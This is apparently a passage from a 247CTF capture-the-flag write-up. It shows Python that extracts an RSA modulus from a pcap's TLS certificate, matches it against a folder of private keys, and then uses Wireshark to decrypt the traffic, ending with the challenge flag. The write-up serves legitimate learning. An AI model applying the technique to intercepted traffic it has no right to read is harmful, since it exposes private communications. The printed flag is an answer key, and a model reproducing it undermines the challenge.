for key_file in glob(os.path.join(keys_directory, "*")):
try:
with open(key_file, "rb") as f:
private_key = serialization.load_pem_private_key(
f.read(), password=None, backend=default_backend()
)

# 类型守卫
if isinstance(private_key, rsa.RSAPrivateKey):
priv_modulus = private_key.private_numbers().public_numbers.n
if priv_modulus == target_modulus:
print(f"[!] BINGO! Matching key found: {key_file}")
return key_file
except Exception:
pass # 静默忽略无法解析的非私钥文件

print("[-] No matching key found.")
return None


def get_modulus(cert_list):
for cert_obj in cert_list:
assert isinstance(cert_obj, Cert)
pubkey_bytes = cert_obj.pubKey.der

try:
public_key = serialization.load_der_public_key(pubkey_bytes)

if not isinstance(public_key, rsa.RSAPublicKey):
print("[-] Not an RSA public key.")
continue

# 3. 提取 Modulus (N)
return public_key.public_numbers().n

except ValueError as e:
print(f"[-] Failed to parse public key: {e}")
return None


if __name__ == "__main__":
cert_list = find_cert(PCAP_FILE)
print(cert_list)
modulus = get_modulus(cert_list)
print(modulus)

if modulus:
key_path = find_matching_private_key(modulus, KEYS)
print(key_path)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[-] Found TLS packet.
[-] Found TLS Certificate.
[-] Extracted a TLS Certificate.
[-] Found TLS packet.
[-] Found TLS packet.
[-] Found TLS packet.
[-] Found TLS packet.
[-] Found TLS packet.
[[X.509 Cert. Subject:/C=US/O=247CTF/OU=net100/CN=127.0.0.1, Issuer:/C=US/O=247CTF/OU=net100/CN=127.0.0.1]]
24375337507354185617683779511918376432395633773833258410072584644021662441320894249037929602005866714516839751200216248045601121213022308135749564
91609032233051031378930201187873763500714123864260833067479968749121983638063505159497973513991377893076048230462912746389410409597739323192173371
69352194568205311849666985699263435298267316799837036996611272681669761306553432625513191541491177379341952990725045599588244319236967795618294845
60357990470602203287915925979746025998473724658331937707347236978200912995652850373393105186043638902549716830185403626256394732792288094019164336
124309631409843886613660844833927
[*] Searching for matching private key in /home/kita/Downloads/keys/ ...
[!] BINGO! Matching key found: /home/kita/Downloads/keys/518dfdb269ef17a932a893a63630644c.key
/home/kita/Downloads/keys/518dfdb269ef17a932a893a63630644c.key

[Process exited 0]

Step 4: Import Key into Wireshark

Open Wireshark → Preferences → RSA Keys → Import the matching key to decrypt the TLS traffic.

247CTF{3693df4d4c007662b7131e7b94c9e9c3}